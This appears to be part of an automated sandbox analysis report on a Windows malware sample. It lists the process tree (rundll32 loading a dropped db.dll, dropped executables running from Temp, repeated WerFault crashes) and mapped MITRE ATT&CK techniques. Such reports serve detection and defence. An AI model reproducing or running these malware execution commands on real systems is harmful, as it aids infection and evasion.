C:\Windows\system32\WerFault.exe -pss -s 600 -p 1560 -ip 1560
1⤵
PID:5368

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 616 -p 4792 -ip 4792
1⤵
PID:5620

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 2292 -ip 2292
1⤵
PID:1824

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",global
1⤵
- Process spawned unexpected child process
PID:3440
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",global
  2⤵
  - Loads dropped DLL
  PID:1304
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1304 -s 600
    3⤵
    - Program crash
    PID:808

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 620 -p 4792 -ip 4792
1⤵
PID:4512

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 2292 -ip 2292
1⤵
PID:5844

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 620 -p 1304 -ip 1304
1⤵
PID:5728

C:\Users\Admin\AppData\Local\Temp\2CC1.exe
C:\Users\Admin\AppData\Local\Temp\2CC1.exe
1⤵
- Executes dropped EXE
PID:5652

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 668 -p 4792 -ip 4792
1⤵
PID:3496

C:\Users\Admin\AppData\Local\Temp\55E5.exe
C:\Users\Admin\AppData\Local\Temp\55E5.exe
1⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:4996

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 680 -p 5216 -ip 5216
1⤵
PID:5924

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 2292 -ip 2292
1⤵
PID:3800

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:6096

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:4152

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:5460

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 668 -p 2292 -ip 2292
1⤵
PID:5324

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Disabling Security Tools

T1089

Install Root Certificate

T1130

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

System Information Discovery